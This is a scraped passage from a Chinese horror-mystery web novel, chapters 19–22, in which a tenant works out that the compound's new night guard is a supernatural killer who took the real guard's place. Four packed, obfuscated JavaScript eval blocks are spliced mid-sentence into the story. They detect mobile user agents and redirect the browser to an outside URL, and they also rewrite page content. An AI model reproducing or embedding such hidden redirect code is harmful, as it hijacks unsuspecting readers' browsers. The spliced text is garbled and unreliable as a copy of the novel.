余子夜立刻露出一副心领神会的笑容回道:“你还说呢表妹,我刚给你连发几条微信你都不回!” “我刚刚拿快递去了嘛。”季青顺利接话,一来一回,两个人好似做了真姐妹一般。 季青望着保安,这个年轻的保安非常面生,之前在业主群里看到有人说小区来了新保安,估计就是这位吧? 保安在余子夜期待的眼神中终于松了口:“好吧好吧,但说到底你不是本小区的住户,麻烦你们进来签个字留个联系方式……” “耶!!” 余子夜兴冲冲地走进保安亭开始在访客表上签字,作为她的“表妹”和要拜访的小区住户,季青也跟着留下了自己的名字和单元楼号。 在余子夜签字的时候,季青打量了一下保安亭,新来的保安还挺爱干净,保安亭里收拾得十分整洁,连签到表都干干净净的…… “那就回见啦,保安同志~” 余子夜向保安做了个鬼脸,挽着季青的手走进了桂溪苑小区。 直到走到单元楼下,余子夜才放开季青:“谢谢你啊,我未曾谋面的表妹……多亏你我才能进来!” “小事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466331|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季青转过身面向余子夜:“我是你电台节目的听众。” “真的吗!”余子夜立马切换成星星眼:“原来是忠实听众,难怪会帮我!” 嗯?季青歪了歪脑袋,自己什么时候成忠实听众了? 余子夜从包里掏出名片递给季青,半开玩笑地说道:“谢谢这位粉丝,我可以给你签名~” 得,现在还升级成粉丝了,季青接过名片收好,还是先开口问了自己最在意的问题: “请问这个小区到底发生什么事了?刚刚听你们说警察在这里调查?” 余子夜露出一脸夸张的不可置信的表情望着季青: “原来连小区的住户都不知道,老江没骗我,这次保密工作做得真好,难怪不让我在电台里说。” 余子夜凑近季青,在她耳边小声说:“如果你真是电台的忠实听众,那么昨天说的城西居民区,就是这个小区哦。” “桂溪苑,驾鹤归西之苑,出事也是意料之中啦……开发商怎么起了这个名字呢,开盘之前就没有去道观请什么大师看看?” 一股凉意蹿上季青的脊背,季青突然就觉得今天似乎没那么顺利了……有些事果然还是不知道为妙。 “老江还在等我,那我就先过去啦!”余子夜向季青眨了眨眼,挥挥手跑开了,“表妹,注意夜间安全!” 老天…… 季青愣了一会,才赶紧抱着快递箱回家。 也没人告诉自己,密室凶杀案就发生在自己住的小区啊! 一想到明天还要早起去学校改卷子,季青还是强迫自己压下心中巨量的疑惑和不安,洗漱完躺在床上睡觉,企图早睡。 可今晚似乎格外不安宁,不一会外面窗外就传来了吵架的声音,季青住的楼层不低,正是那种能正正好好能听到外面噪音的9层。 季青把脑袋往被子里缩了缩。 可窗外的吵闹声越来越清晰,似乎是男女朋友在吵架。 季青懒得理会,眼皮都不眨一下。 “你就这么决绝吗,这些年的感情你没有一点留恋吗!” 外面传来了男人愤怒的声音,季青眼皮微动,翻了个身。 “我都说了已经结束了!你不要再纠缠!” 窗外传来了女人的警告,季青终于站起来,走到窗边,然后—— 唰地拉上了窗帘…… 季青对八卦不感兴趣,还是不要让这种事打扰自己睡觉的好。 但窗外传很快又传来了其他声音: “你拿的什么!你不要过来!” “救命,救命啊!” “杀人了!有人要杀人啊!” 听到这里,季青拉着窗帘的手停顿了一下, 外面男人女人的叫喊声和追逐跑动的声音混作一团。 ……不会真的出事吧? 季青终于还是朝窗外看了一眼。 可季青的视线一往楼下望去,世界就像霎时间按下了暂停键一样,吵闹声突然消失了。 楼下的空地上,哪有什么男人女人,只有一个提着消防斧的黑色的人影安静地站着。 在季青和他的视线对上的一瞬间,他举起手,指向了季青。 季青的楼层太高,即使有小区的路灯,也看不清这个人的脸,只能看到对方的嘴一开一合。 对方的手指随着嘴唇的开合逐渐向下…… 季青突然明白过来他在说什么了,他是在数数: “一、二、三、四……九。” 20. 桂溪苑凶杀案(三) 季青迅速放下窗帘,心脏几乎停跳一拍。 那个诡异的黑衣人是谁?谁会在大半夜提着消防斧在小区乱晃? 那柄被他随意提在手中的消防斧,瞬间引起了季青的警觉。 季青脑海里立刻浮现起昨晚电台播报的内容:【受害者死因均为利器切割而死】,该不会凶器就是那柄消防斧吧? 那这个黑衣人,有没有可能就是桂溪苑连换密室凶杀案的凶手?可今晚回来的时候保安说过,警方还在这里调查,怎么会有敢在警方眼皮底下带着凶器招摇过市的杀人犯? 而且,季青还有一种微妙的不适感,总觉得有哪里不对,可…… “咚、咚、咚……” 指节叩击门板的声音打断了季青的思考,这敲门声清晰、规律,甚至带着一种程式化的礼貌,在寂静的深夜走廊里回荡,和季青的心跳逐渐重合。 怎么可能??? 几乎就在她与楼下那个黑色人影对视、并被其指认的下一秒,这敲门声就响起了。 太快了!快得不合常理! 季青的心脏猛地一缩,从单元楼前到自家门口,即便是电梯刚好停在一层,走进单元门然后等待电梯上到九层,怎么的也得要一分钟吧,绝不可能在视线交错的下一秒就来到季青九楼的家门口。 而且自己明明没有开灯!从窗外看应该是一片漆黑,那个人又是怎么准确指向季青的楼层的? 除非,对方不是依靠视觉来“看”的,甚至于,对方可能根本不是人…… 季青揉了揉眉心,试图驱散这荒谬的想法,自己怎么会突然冒出来这样的念头。 就算A市是怪谈之都,也不至于遍地都是非人的东西晃荡吧。 “咚、咚、咚……” 冷静,冷静。 也许敲门的并不是那个黑衣人呢?也许只是物业或者邻居,甚至是晚上出来捡小区楼道里快递箱的老太太? 恰好此时,敲门声消失了。 季青一步一步缓缓挪到门口,保险起见,她先是“咔哒”一声扣上了防盗链,然后悄悄掀开了门上猫眼的盖子,朝门外望去—— 黑洞洞的,什么也没有,什么都看不见。 楼道的声控灯因为持续的敲门声本该亮着,但此刻,猫眼视野里什么也没有,仿佛外面不是走廊,而是无尽的虚空。 难道是声控灯坏了?还是说…… 此时手机发出了微信消息的提示音,季青拿起手机看了一眼,是小区的业主群。 本来作为租客的季青不会进群,但小区交付较早,容易停水停电坏电梯,房东嫌麻烦,才把季青拉进了业主群,让她自己注意群里的维修公告,有什么情况直接和物业沟通。 最新的消息就在几秒前: 桂溪苑安保:【请各位业主注意,我们接到反映,最近有不明身份的人员上门进行骚扰。】 【如果您遇到任何可疑人员上门的情况,请务必不要开门,第一时间通过微信联系我们安保人员核实处理。】 “咚、咚、咚……” 敲门声再次响起! 一样的清晰、规律,带着一种此刻显得毛骨悚然的礼貌。 恐惧如同潮水涌上来,几乎要将季青淹没,群里的警告和外面的敲门声,形成了一种诡异的呼应。 季青没有犹豫,直接在业主群找到发消息的保安,然后想了想,又找到群备注902的张先生的微信,敲门声这么大,住在隔壁的张先生一家应该也能听到。 季青这时候已经明白那股微妙的不适感来源于哪里了,安静,太安静了,如同进入心巢孤儿院时一样,仿佛霎时间整个A市都与自己隔离开来。 宛如孤岛的季青此时迫切需要与他人产生联系才能安心。 群里那个保安的头像是一个穿着笔挺黑色保安制服的模糊身影,背景似乎是小区保安亭。 季青没有多想,直接点击添加到通讯录,很快“桂溪苑安保”就通过了季青的好友申请。 桂溪苑安保:【您好/微笑】 一个标准的公式化回复。 季青快速打字,简单把自家门口有可疑人员敲门的事情说了一下,保安迅速回复: 桂溪苑安保:【好的,我马上过来看一下。】 季青靠在门边的鞋柜旁,反复刷着手机,平时挤满消息的手机此刻也是异常安静,连刚刚的业主群也都没有新的消息。 难道是时间太晚了? 过了大约十分钟,或许更久一些,门外终于传来了动静:先是电梯运行上行、的微弱嗡鸣声;然后的“叮”的一声脆响,提醒到达楼层;最后终于是电梯开门的声音。 紧接着—— “咚咚咚!” 虽然又传来了敲门声,但这一次比上一次的敲门声要更加急促和用力。 而且这一次,伴随着敲门声,门外传来了一个声音,一个季青今天才听过的,有点年轻和拘谨的声音: “您好,季小姐,我是今天的夜班保安!” 季青走到门口,再次小心翼翼地从猫眼向外望去,门外站着的正是今天回来的时候遇到的那个新来的年轻保安。 保安穿着那身熟悉的黑色保安制服,手上拿着板夹和签字笔,面带微笑地站在门口,他一边敲门一边说: “季小姐,我刚刚赶到单元楼楼下的时候,看到了一个穿着黑衣的可疑人员离开,最近情况特殊,按照物业的新规定,您要是没事的话,可以请您出来签个字确认吗?” 季青的手搭在门把手上,金属冷冰冰的触感让她略微清醒,没有开门。 一个关键的问题萦绕在心头:她现在能看清保安的样子,说明声控灯是正常的,那为什么刚才望向猫眼的时候,看到的却是一片漆黑?! “季小姐?您在家吧,不是您刚刚通知我过来看看的吗?” 季青没有答话,外面的保安也不再说话,接着,她听到了一阵极其细微的、几乎无法察觉的声响。那不是脚步声,而是……一种类似衣物摩擦的窸窣声,非常轻微,似乎紧贴着门板。 季青忍着心中翻涌的不安,再次看向猫眼—— 年轻保安的脸在猫眼中被扭曲,放得极大,几乎占满了整个猫眼的视野—— 一双眼睛正直勾勾的、毫无偏移“锁定”着猫眼的内侧,仿佛能穿透这薄薄的镜片,看到门后的她! 季青吓得后退了一步,她终于知道为什么第一次望向猫眼的时候是漆黑一片了! 当时门外那个黑衣人的眼睛,也正紧紧地、毫无缝隙地贴在猫眼的另一侧! 两个瞳孔之间只隔着一层小小的玻璃镜片,对方的眼球完全遮蔽了光线,所以才呈现出那种吞噬一切的黑暗! 他在窥视她!在她试图观察门外的时候,他也在以几乎贴面的距离,观察着门内的动静! 季青想要远离大门,可这一步后退反而让她撞到了柜子,发出了一阵声响,紧接着—— “咚咚咚!” 仿佛是确定了季青在家,急促的敲门声再次响起,门外的保安依旧挂着礼貌的微笑,锲而不舍地敲着门: “季小姐?请您开一下门,我们这边按照您的要求来到这边巡逻,需要业主签字的,不然老板算我不在岗,要扣工资的。” 打工人何苦为难打工人,季青在这方面一向很善良,身为社畜,她太理解这种被规章制度和老板苛责支配的恐惧与疲惫了。 如果门外真的是一个尽职尽责却可能因她的谨慎而被处罚的年轻保安,她此刻的闭门不开,确实显得有些冷漠和不近人情。 ——但前提是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472363|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对方真的是打工“人”。 季青用力晃了晃头,将注意力重新拉回到那些无法解释的疑点上。 她的将刚才发生的一切在脑海中飞速复盘,然后向门外的保安问了一个问题: “大晚上被可疑人员骚扰,我不敢轻易开门。刚刚在我门口那个人,已经被你们赶走了?” 门外的保安愣了一下,才回答道: “是的,我赶到这栋楼门口的时候,凑巧看到对方跑出去,穿着黑衣服,手上提着斧子是不是。您放心,我看到他离开小区了,已经向安保处报备,也报过警了。” “已经安全了,麻烦您出来签个字就可以了。” 那还真是巧啊……季青撇了撇嘴。 第一种可能,如果门外这个保安说的是真的,那么黑衣人就真的在和季青对上眼神的下一秒就来到了门口,黑衣人就绝对不是普通人,甚至不是“人”。 第二种可能,如果门外的保安说的是假的,他又怎么会知道黑衣人拎着斧子,明明季青没有在微信里说过这个细节。况且,黑衣人既然拥有这种堪称瞬移的能力,那他根本不用像一个普通人一样用“跑”的离开单元楼。 这些疑点串联起来,指向一个令人毛骨悚然的可能性。季青的目光再次投向那个小小的、扭曲着外界景象的猫眼。保安那张被放大到变形的脸依旧停留在视野里,带着程式化的微笑。 季青再次低下头,望着在黑暗中散发着幽光的手机屏幕,想看看刚刚发送给邻居的好友申请通过没有。 可屏幕停留在添加隔壁902张先生的微信界面,一行小字显示在上面: 【网络连接不可用】 季青的手机不知何时,莫名其妙断网了,这也是今晚手机没有接收到其他消息的原因。 可那个“保安”却能通过好友添加验证,并且给她发送消息! 季青觉得除了以上两种“基于保安和黑衣人,谁真谁假”的推测,还存在第三种可能性: “保安”就是那个黑衣人,或者更准确地说,门外的这个人,就是近期桂溪苑密室凶杀案的凶手! 这也就解释了为什么黑衣人会精确地在楼下等着季青,因为季青带余子夜进来的时候,应这个保安的要求,在访客表上留下了自己的姓名和楼号! 真正的保安,会做出这种诡异到极致的行为吗?会在业主报告可疑情况后,不先用手电检查走廊、不先用对讲机沟通,而是像一尊雕像般把眼睛死死贴在猫眼上,屏息凝神地向内窥探吗? 绝不会! 这已经不是尽职,这是病态的、充满猎食者意味的凝视。 “季小姐?您还在吗?开门签个字很快的,就几秒钟……”门外的催促声再次响起,那丝“打工人的无奈”此刻在季青听来,充满了表演的痕迹,像是精心设计的话术,专门用来攻克她这种同理心尚存的目标。 季青没有回应门外的声音,她后退几步,确保自己不会发出任何声响,然后做出了一个成年人该有的反应—— 她在手机上按下了几个数字:110…… “嘟、嘟、嘟……” 季青握着手机的手微微冒汗,她把手机紧贴在耳朵上,思考着待会怎么说明着诡异的情况,才能让警方相信自己。 “喂,您好。” 电话接通,可季青一下愣住了,她没有回答,因为她发现这声音不止是从手机中传来的。 她悄悄靠近门口,咽了口唾沫,再次鼓起勇气朝猫眼外望去—— 门外的“保安”紧贴着门板,那张脸在猫眼中被扭曲放大,眼神灼灼地望向里面,季青甚至能看清对方眼中的血丝…… 对方缓缓将手机贴近嘴边,他笑着说: “您好,这里是A市110接警中心,请问需要帮助吗?” 21. 桂溪苑凶杀案(四) 门外的这个“保安”,居然可以扭曲信号,将季青拨打给110的电话劫持到自己的手机上? 如此不合常理的事都能发生,那只能说明,对方恐怕是…… 季青面无表情地挂掉了电话。 还以为是什么穷凶极恶的坏人呢,原来是怪谈啊。 众所周知,人比诡麻烦多了。 如果外面的是人,那季青免不了要去警局做几天笔录,如果警察没有抓到这个犯人,季青可能还得换地方住避免被犯人报复,总之要面对的事情很麻烦。 但既然对方是怪谈,那“猎人”与“猎物”的身份恐怕就要换一换了。 季青再次拿起手机,毫不犹豫地点开了诡异论坛——犯罪的人由警察来抓,那犯罪的诡就由管理怪谈的论坛来管束! 此时此刻,论坛就是她最可靠的武器,这个比门外的“保安”还诡异的论坛,自然没有受到断网的影响,季青看着正常刷新的页面松了口气,迅速在搜索栏输入“桂溪苑、密室、凶杀、保安、取代”等关键词。 虽然跳出了一些帖子,但帖子的标题旁边,都标注着灰色的【暂未核实】字样。 说到底,这些只是普通用户道听途说的信息,发帖用户并没有亲身卷入怪谈事件,写下的内容自然就无法被论坛的规则体系自动核实。 想来也不会有亲身经历者发帖分享吧,季青一边滑动着手机屏幕,一边思索: 毕竟根据余子夜的说法,桂溪苑小区已经出现了两位受害者,均是独居人士。这个怪谈估计专挑独居者下手,一击必杀,不留活口,根本不给别人透露自己真身的机会。 换句话说,见过这个怪谈真身的人,都死了。 “咚咚咚!” 门外再次传来沉重的敲门声,门外的“人”发现无法骗取季青的信任后,不再执着于假扮保安的身份,而是直接撕破了伪装,甚至哼起了走调的儿歌: “小兔子乖乖……把门开开……” 看样子对方并不打算离开,而是想要“守株待兔”。 季青朝门口望去,她心里的恐惧已经被一种近乎冷酷的兴奋取代—— 桂溪苑的密室连环杀人犯,这回恐怕看走眼了,他这回盯上的不是小兔子,而是诡异论坛的管理员02-季青。 季青拿起放在桌上的笔记本,开始从搜索出的帖子中整理线索,她现在有了昨天刚升级的权限:【管理员-关键信息核实】。 现在只需要找到对这个事件描述最详细的帖子,对里面的细节进行核实,就可以知道等在门外的到底是什么“东西”! 很快季青便锁定了字数最多的帖子: 标题:【关于城西居民区密室凶杀案的调查】 发帖人:大江大河向东流 IP:A市发帖时间:2025年7月2日 板块:#现场直击#刑侦纪实#灵异怪谈#居家安全 怪谈状态:【暂未核实】 【各位坛友,今天我又来分享A市的离奇悬案,此案疑点重重,依旧希望各位能人异士不吝赐教。 据楼主了解,该居民区已经连续出现了两起案件,虽然警方7月2日才进入现场调查,但根据楼主多年侦办刑事案件的经验,基本可以确定两位受害者的死亡时间分别为6月30日和7月1日,即两起凶案发生的时间仅间隔24小时。 当然,这并不是警方将两起案件进行联合侦办的主要原因。 实际上,两起凶案的现场情况十分相似,首先,受害者均为独居人士。 其次,犯罪现场门窗均无撬锁痕迹,由于受害者是独居,现场甚至基本也只能提取到受害者一人的指纹。 虽然犯罪现场的“外部”保存十分完好,但凶杀现场实则混乱异常,可以说受害者进行了相当激烈的反抗! 两起案件的犯罪现场,无一例外,四处都是利器切割痕迹,可让警方犯难的是,经勘查,这些利器切割的痕迹,均来自受害者手上的菜刀,而菜刀也均来自受害人家中的厨房。 现场痕迹看起来似乎是被害者在极度恐惧下进行的防卫造成,可最悬疑的地方就在这里—— 两位受害者,均为跪在地上的姿势,被人斩首致死! 从现场血迹喷射痕迹来看,受害者甚至没有挣扎,都是被利器斩断脖颈,一击毙命。 可这明显和之前拿着菜刀防卫,甚至在现场造成大量切割痕迹的事实相悖,而且现场没有留下凶手的指纹、脚印等任何痕迹…… 经过对受害者邻居的走访,他们也都表示当晚没有听到任何异常响动,这极不合理,按理说恐惧到会拿起菜刀反抗的受害人,一定会想办法求救。 可不仅邻居没有听到呼救声,连受害人的手机上也并没有拨打110或亲朋好友电话的通话记录。 事情已经超出了常理,我不得不再次求助这个神奇的论坛,希望有线索的朋友可以联系我,感激不尽。】 就在季青沉浸于分析时—— “叮咚!” 微信提示音突兀响起,屏幕顶端弹出预览: 桂溪苑安保:【/微笑】 季青眼神一冷,直接划掉通知栏。 “叮咚!叮咚!叮咚!叮咚!” 更多的消息接踵而至,仿佛恶意决堤,倾泻而出。 快递驿站老板:【/微笑】 主讲赵老师:【/微笑】 秦教授:【/微笑】 常岚:【/微笑】 班长:【/微笑】 代购:【/微笑】 【/微笑】 【/微笑】 【/微笑】 每一个名字,都是她通讯录里真实存在的联系人!每一个头像,后面都闪烁着那个【/微笑】! 门外的那个东西用一种别样的方式入侵了季青的领地——他劫持了季青的通讯录。 季青的手指飞快操作,试图关闭通知,但毫无作用,手机如同失控的警报器,消息提示越来越密集,越来越尖锐,最终连成一片令人头皮发麻的高频鸣响! 屏幕被无数个【/微笑】疯狂刷屏,来自她认识的每一个人!这些熟悉的头像,此刻都化作门外那个怪物的一双双眼睛,死死盯着季青! 一连串的消息开始在季青的手机上疯狂跳动,季青马上卸载了微信,这才获得片刻安宁。 可不出十秒,电话铃声突然在寂静中炸响! 事情开始逐渐失控了。 她现在确认到为什么之前的受害者没有向外界求救,而是无奈自保了,这不是不想,而是不能! 因为门外那个东西可以切断受害者和外界的一切联系。 对季青来说,她现在所处的世界,恐怕只有门内的这个家,和门外的那个“人”! 季青背靠着沙发,缓缓滑坐在地。手机屏幕在黑暗中疯狂闪烁,无数个带着【/微笑】表情的短信和未知来电如同潮水般涌来,试图淹没她最后一丝理智。 她皱着眉头,手指死死长按电源键,手机屏幕瞬间漆黑,世界才终于恢复了安静。 “咚咚咚!” 黑暗中,只有门外那不依不饶的敲门声,宣告者狩猎游戏仍在继续。 季青深吸一口气,无视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493063|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉恼人的敲门声,起身来到电脑前,用电脑打开论坛网址,开始对刚刚搜到的帖子进行核实。 季青尝试了一下电脑网页的操作,发现鼠标移动到部分语段的时候会出现转圈的等待符号,她挨个尝试了一下左键和右键,发现右键之后弹出了【是否核实】的选项。 那还有的选吗?季青果断按下了【是】。 第一条可以被验证的句子是:【该居民区已经连续出现了两起案件】。 金色的等待符号转了一圈,跳出了一个季青从未见过的弹窗: 【错误信息】 这个明显是刑警发的帖子,里面居然还有错误信息? 季青又把这句话读了一遍,错的是哪里?居民区还是连续两起案件? 既然警察已经来到了这个桂溪苑,并且确确实实找到了尸体,这个居民区指的就是桂溪苑应该没错。那连续出现两起命案是哪里出了问题? 季青马上又核实了第二句:【基本可以确定两位受害者的死亡时间分别为6月30日和7月1日】。 这回跳出的弹窗是【核实存在】。 也就是说连续出现命案也没错,问题出在数量上! 难道这个小区里还有警方没有找到的受害人吗? 必须想办法核实到这一条,可惜这个贴子里没有相关的信息。 季青想到了另一项权限: 【管理员-核实关联验证】 她马上右键帖子的标题,果然,上面显示了一个新的选项:【将其关联到-】 季青马上回看之前那些普通用户发布的信息,其中一个看似不起眼的抱怨引起了季青的注意: 【我们小区的保安怎么总是换人?在桂溪苑,保安也是高危职业?】 季青将两条帖子关联了起来,她清楚记得业主群里说过,近期只来了一位新的夜班保安,不存在“老是换人”一说。 她怎么能忽略这个呢,一个本应被注意的视角闯入脑海。有一个群体,理论上应该是最先接触、也最了解小区人员有奇怪的人闯入的——那就是保安本身。 门外那个怪物,是怎么绕过真正的保安,成为“保安”的? 屏幕上,金色的蝴蝶扇动翅膀,在两个看似不相关的帖子中牵起连线:【关联完成,相关帖子核实存在】 【在桂溪苑,保安也是高危职业?】这条帖子,下面的【暂未核实】变成【核实存在】了! 桂溪苑保安原来还真是高危职业啊? 联想到今天看到的,保安亭中干干净净的签到表,季青马上明白刑警贴子里【该居民区已经连续出现了两起案件】这句话哪里错了。 实际上桂溪苑已经发生了三起凶案,而第一位受害人,就是真正的夜班保安! 就在季青勘破真相的刹那! “呼——” 屏幕上,那论坛页面上的金色蝴蝶,再次震颤了翅膀,一阵强光爆出,数只流光溢彩的蝶影从屏幕中翩然飞出,闪烁着的鳞粉如同星尘,金色的漩涡瞬间将她吞没—— 与前两次遭遇怪谈时一样,每当季青准确抓住“真相”的尾巴,不属于她的记忆,就会在她的脑海中如同潮水般汹涌而至。 她确实地,再一次看见了“真相”: 那是一个雨夜,桂溪苑小区的保安亭内,新上任的夜班保安坐在里面打着哈欠。刺眼的汽车远光灯划过雨幕,保安猛地看见小区门口站着一个浑身湿透的男人,低着头,身影模糊。 好心的保安犹豫了一下,还是推开了保安亭的门,探出头问道: “哎,你要不要进来躲一躲雨?” 22. 桂溪苑凶杀案(五) 雨点噼里啪啦地敲打着保安亭的玻璃,晕开了窗外路灯昏黄的光。刚上岗没几天的年轻保安打了个哈欠,揉了揉有些发涩的眼睛。 夜班总是难熬,尤其是这种阴冷的雨天。 就在这时,一道刺眼的汽车远光灯划过雨幕,短暂地照亮了小区门口。 保安眯起眼,隐约看见门口站着一个身影。 那人浑身湿透,低着头,穿着一身不反光的、近乎纯黑的衣服,仿佛融入了夜色,只有远光灯扫过时,才勾勒出一个模糊的、水淋淋的轮廓。 这么晚了,怎么在外面淋雨? 保安心里嘀咕着,一丝同情心泛起。他犹豫了一下,还是推开了保安亭的门,探出头,隔着雨帘喊道: “哎,你要不要进来躲一躲雨?” 黑衣人缓缓地抬起了头。保安看不清他的脸,只觉得那双眼睛在黑暗中似乎捕捉到了微弱的光,直勾勾地看了过来。 那个人没有回答,只是迈开了步子,一步一步,朝着保安亭走来。他的脚步很轻,落在湿漉漉的地面上,几乎没有声音。 保安心里莫名地有些发毛,但职责和善意还是让他侧身让开了门口:“快进来吧,别淋感冒了。” 那个人走进了保安亭,他比保安略高一些,身上带着一股阴冷潮湿的气息,瞬间让狭小的空间温度下降了几度。 保安下意识地搓了搓胳膊,转身想去给这个“落汤鸡”倒杯热水,倒水的时候,保安还试图找点话题,打破尴尬的气氛:“那个……你先坐会儿,我……” “谢谢你。”一个低沉的声音打断了他,语调平直,没有什么感情起伏。 “啊,不客气。”保安转过身,把一次性纸杯递过去。 这时,他才借着保安亭明亮的灯光,稍微看清了来人的样子。很普通的一张脸,没什么血色,眼神有些空洞。 “这么晚还值班,辛苦。”黑衣人接过水杯,却没有喝,只是捧在手里。 “唉,混口饭吃呗。”保安叹了口气,在这寂静的雨夜,能有人说说话也挺好,驱散了些许困意和莫名的不安。“这活儿看着轻松,其实也不能太松懈,就怕出点什么事。” “是啊,责任很大。”黑衣人重复着,那双眼睛扫过保安亭内的监控屏幕,“要确保安全,不能放进可疑的人,还要解决安全隐患。” “对对对!”保安像是找到了知音,“尤其是我听说桂溪苑这个小区很灵异啊,容易出事,但是工资高我才来的。不过老板说了,出了事就得滚蛋。” 黑衣人转过头,露出一个淡淡的微笑:“你很负责。” “应该的嘛,这还是我第一天上班,不得加把劲么。”保安被夸得有点不好意思。 两人有一搭没一搭地聊着,主要是保安在抱怨工作的枯燥、老板的苛刻、生活的压力。黑衣人大多时候只是安静地听着,偶尔附和一两句,但他的眼神,始终没有离开过保安,像是在观察,又像是在……等待。 时间一分一秒过去,雨势渐小。保安看了看墙上的钟,已经快凌晨两点了,困意再次袭来。 黑衣人忽然开口,声音依旧平缓:“你看起来很累。” “是啊,熬不住了,我还是第一次上夜班,上班之前还觉得不就是换个时间睡觉,这班真是一上就老实了。” 保安打了个大大的哈欠,眼角挤出生理性泪水。 “需要我替你值一会儿班吗?”黑衣人轻声问道,那双空洞的眼睛里,似乎有什么东西一闪而过。 保安愣了一下,随即失笑,他只当对方是开玩笑,或者纯粹是客气话。 不过为了缓解尴尬,他带着几分调侃,拍了拍黑衣人的肩膀:“兄弟,还真是谢谢了,那你替我值一会儿夜班?不过工资我可不分给你啊,哈哈!” 他这句话说完,自己扭过头先笑了起来。然而,他的笑的时候,视线恰好扫过保安亭内的监控屏幕。 其中有一块,正对应着保安亭内的监控,监控画面上,明明只有他一个人,手臂悬空,傻兮兮地露出笑容。 保安脸上的笑容僵住了,一股寒意从脚底直冲天灵盖。他下意识地想离开保安亭,却发现自己动弹不得。仿佛有无形的枷锁,在他那句玩笑话说出口的瞬间,就已经将他牢牢缚住。 而黑衣人脸上淡淡的表情,骤然变得生动而……诡异。那是一种混合了满足、贪婪和冰冷残酷的笑容。他空洞的眼眸深处,亮起了两簇幽暗的火光,他说: “好啊。” 保安看到,黑衣人缓缓抬起了手,那只手苍白得没有一丝血色,指甲却泛着幽黑的光。 “你允许了。”黑衣人用低沉的声音宣布,仿佛在宣读某种不可违逆的法则,“你允许我,‘替你值夜班’。” “不……我不是……”保安想要辩解,喉咙却被黑衣人苍白的手扼住,声音越来越小。恐惧像冰冷的藤蔓,缠紧了他的心脏。 黑衣人的手,彻底扼紧了保安的喉咙。 没有疼痛,只有一种彻骨的冰冷,瞬间蔓延至全身。保安感觉自己的意识、自己的存在,正在被迅速抽离、吞噬。 他最后看到的,是黑衣人那双眼睛里,冰冷而残忍的愉悦。 黑衣人将没有了声息的保安装进了垃圾袋,在黑色的雨幕中扔进了不远处的望川河。他则换上了那身黑色的保安制服,开始履行自己作为“桂溪苑小区夜班保安”的职责。 “要确保安全,不能放进可疑的人,还要解决安全隐患。” 他低声重复着,笔直地站在保安亭里。 第二晚,新“上任”的保安就注意到了一位业主。 一个有些邋遢、眼神闪烁的年轻上班族,正迅速地将白天快递员放在保安亭窗台的,一个不属于他的小快递盒,悄悄塞进外套里。 他不知道,尽职的保安,早已核实过快递盒上的信息为8栋,并通过监控,发现上班族其实走回了自己居住的4栋。 晚上九点左右,敲门声响起。上班族透过猫眼,看到的是穿着笔挺黑色保安制服、双手背在身后、面带标准微笑的“保安”。 “先生,晚上好,打扰了。”门外的声音温和有礼,“方便开一下门吗?有点事情想跟您确认一下。” 上班族心里咯噔一下,强作镇定地打开门,但只开了一条门缝,防盗链还稳稳挂在门上:“什么事?” “保安”从身后一只手举起手机,屏幕上赫然是上班族刚才偷拿快递的监控截图,角度清晰。“先生,这是您吧?这种行为……不太好啊。” “保安”的脸上带着惋惜的表情。 上班族的脸瞬间煞白,语无伦次:“我……我不是……我就是拿错了……” “拿错了?” “保安”的笑容不变,眼神却像探照灯一样锁住他,“今天只有一个快递被放在了保安亭,不太可能会拿错吧?” “根据物业规定和治安管理条例,这属于盗窃行为。如果失主追究,或者我们报上去,轻则罚款、物业通报,重则……可能会影响到您的工作呢,毕竟盗窃说不定也会留下案底。” 恐慌攫住了上班族,他刚换工作,最怕留下污点:“别……别说出去!求你了!我真的拿错了,我把东西还回去不就行了!” “保安”叹了口气,显得很为难:“我也很想帮您,但规矩就是规矩……不过,如果您态度诚恳,愿意深刻认识到错误,我们或许可以内部处理,不扩大影响。” “我认识到了!我真的知错了!”上班族连忙保证,声音带着哀求。 “光说可不行,”“保安”向前微微倾身,声音压得更低,带着一种诱导性,“我们得做个简单的记录,表明您确实接受了批评教育, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501549|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 